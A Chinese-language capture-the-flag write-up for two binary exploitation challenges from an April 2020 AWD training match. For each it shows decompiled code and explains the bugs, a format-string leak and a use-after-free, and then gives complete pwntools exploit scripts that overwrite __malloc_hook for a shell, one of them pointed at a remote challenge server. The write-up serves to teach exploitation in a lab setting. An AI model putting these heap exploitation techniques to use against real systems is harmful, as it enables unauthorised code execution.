【WriteUp】星盟 2020 年 4 月 AWD 训练赛 -- Pwn 题解

pwn1

Description:

Ubuntu 16.04

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

main 函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rsi
  signed int v4; // eax
  __int64 v5; // [rsp+0h] [rbp-18h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  init();
  puts("What's your name?");
  read_str(&v5, 5);
  write(1, "Hello, ", 7uLL);
  _printf_chk(1LL, &v5);
  v3 = stdout;
  IO_putc(10, stdout);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v4 = read_int();
        if ( v4 != 2 )
          break;
        drop(10LL, (__int64)v3);
      }
      if ( v4 > 2 )
        break;
      if ( v4 == 1 )
        add(10LL, (__int64)v3);
    }
    if ( v4 == 3 )
      look();
    if ( v4 == 4 )
    {
      puts("bye!");
      exit(0);
    }
  }
}

_printf_chk(1LL, &v5); 是一处格式化字符串漏洞,这里可以用 %a%a 来进行栈泄露

add 函数如下:

int __fastcall add(__int64 a1, __int64 a2)
{
  signed int v2; // eax
  signed int v3; // ebp
  _QWORD *v4; // rax
  signed int v5; // ebx
  void *v7; // r12

  puts("How long is your secret?");
  v2 = read_int();
  if ( v2 > 0x88 )
    return puts("Your secret is too long!");
  v3 = v2;
  v4 = &unk_202068;
  v5 = 1;
  if ( chunk[0] )
  {
    while ( *v4 )
    {
      ++v5;
      ++v4;
      if ( v5 == 23 )
      {
        puts("You have too many secret!");
        exit(0);
      }
    }
  }
  else
  {
    v5 = 0;
  }
  chunk[v5] = (__int64)malloc(0x10uLL);
  v7 = malloc(v3);
  if ( !v7 )
    wrong_exit();
  puts("So,tell me your secret:");
  read(0, v7, (unsigned int)v3);
  *(_QWORD *)chunk[v5] = v3;
  *(_QWORD *)(chunk[v5] + 8) = v7;
  return puts("[+]success !");
}

drop 函数如下:

int __fastcall drop(__int64 a1, __int64 a2)
{
  int v2; // eax
  int v3; // ebx
  __int64 v4; // rax

  puts("Which secret do you want to drop off?");
  v2 = read_int();
  v3 = v2;
  v4 = chunk[v2];
  if ( !v4 )
    return puts("[!]Out of range");
  free(*(void **)(v4 + 8));
  free((void *)chunk[v3]);
  return puts("[+]Drop success!");
}

look 函数没有用,就一个 exit(0);

这里依靠格式化字符串泄露出 libc 之后,直接 fastbin double free 就可以提权了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('39.100.119.37', 50380)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


def add(add_size, add_data):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('secret?\n', str(add_size))
    p.sendafter('secret:\n', add_data)


def delete(delete_idx):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('off?\n', str(delete_idx))


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p.sendlineafter("What's your name?", '%a%a')
p.recvuntil('Hello, 0x0.0')

libcbase = int(p.recv(11) + '0',16) - libc.sym['_IO_2_1_stdout_']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

add(0x60, 'a')
add(0x60, 'a')
delete(0)
delete(1)
add(0x10, 'a')
delete(0)
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
pd = 'a' * 0x13
pd += p64(addr_one_gadget)
add(0x60, pd)
p.sendlineafter('choice:', '1')
p.sendlineafter('secret?\n', '96')
# gdb.attach(p)
p.interactive()

Flag:

动态靶机

pwn2

Description:

Ubuntu 16.04

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  main_init();
  chall_main();
  return 0LL;
}

chall_main 是我修改过名字后的函数,后面也是一样

chall_main 函数如下:

void chall_main()
{
  while ( 1 )
  {
    menu();
    switch ( read_atol() )
    {
      case 1u:
        add();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        exit(-1);
        return;
      case 5u:
        show();
        break;
      default:
        continue;
    }
  }
}

add 函数如下:

__int64 add()
{
  __int64 result; // rax
  signed int v1; // [rsp+8h] [rbp-18h]
  signed int v2; // [rsp+Ch] [rbp-14h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]
  void *buf; // [rsp+18h] [rbp-8h]

  printf("index>> ");
  v2 = read_atol();
  if ( v2 < 0 && v2 > 19 )
    exit(-1);
  if ( ptr[v2] )
    exit(-1);
  printf("size>> ");
  v1 = read_atol();
  if ( v1 > 0x500 )
    exit(-1);
  v3 = malloc(0x10uLL);
  if ( !v3 )
    exit(-1);
  buf = malloc(v1);
  if ( !buf )
    exit(-1);
  v3[1] = buf;
  *v3 = v1;
  printf("name>> ");
  read(0, buf, v1);
  result = v2;
  ptr[v2] = v3;
  return result;
}

delete 函数如下:

__int64 delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index>> ");
  v1 = read_atol();
  if ( !ptr[v1] )
    exit(-1);
  free(*(ptr[v1] + 1));
  free(ptr[v1]);
  return 0LL;
}

edit 函数如下:

ssize_t edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index>> ");
  v1 = read_atol();
  if ( !ptr[v1] || !*ptr[v1] || *ptr[v1] > 1280 )
    exit(-1);
  printf("name>> ");
  return read(0, *(ptr[v1] + 1), *ptr[v1]);
}

show 函数如下:

int show()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index>> ");
  v1 = read_atol();
  if ( ptr[v1] )
    result = puts(*(ptr[v1] + 1));
  else
    result = puts("idx error");
  return result;
}

利用思路很无脑,堆入门题,有 UAF,还能靠 unsorted bin 泄露 libc

直接泄露然后 fastbin double free 就可以提权了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('', )
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_idx, add_size, add_name):
    p.sendlineafter('Choice\n', '1')
    p.sendlineafter('index>> ', str(add_idx))
    p.sendlineafter('size>> ', str(add_size))
    p.sendafter('name>> ', add_name)


def delete(delete_idx):
    p.sendlineafter('Choice\n', '2')
    p.sendlineafter('index>> ', str(delete_idx))


def edit(edit_idx, edit_name):
    p.sendlineafter('Choice\n', '3')
    p.sendlineafter('index>> ', str(edit_idx))
    p.sendlineafter('name>> ', edit_name)


def show(show_idx):
    p.sendlineafter('Choice\n', '5')
    p.sendlineafter('index>> ', str(show_idx))

addr_ptr = 0x6020C0
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

add(0, 0x80, 'a')
add(1, 0x10, 'a')
add(2, 0x60, 'a')
add(3, 0x60, 'a')
delete(0)
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[1]

delete(2)
delete(3)
add(4, 0x10, 'a')
delete(2)

add(5, 0x60, p64(addr___malloc_hook - 0x23))
add(6, 0x60, 'a')
add(7, 0x60, 'a')
pd = 'a' * 0xb
pd += p64(addr_one_gadget)
pd += p64(addr___libc_realloc + 12)
add(8, 0x60, pd)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
# gdb.attach(p, "b malloc\nc")
p.sendlineafter('Choice\n', '1')
p.sendlineafter('index>> ', '9')
p.sendlineafter('size>> ', '60')
p.interactive()

Flag:

动态靶机

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注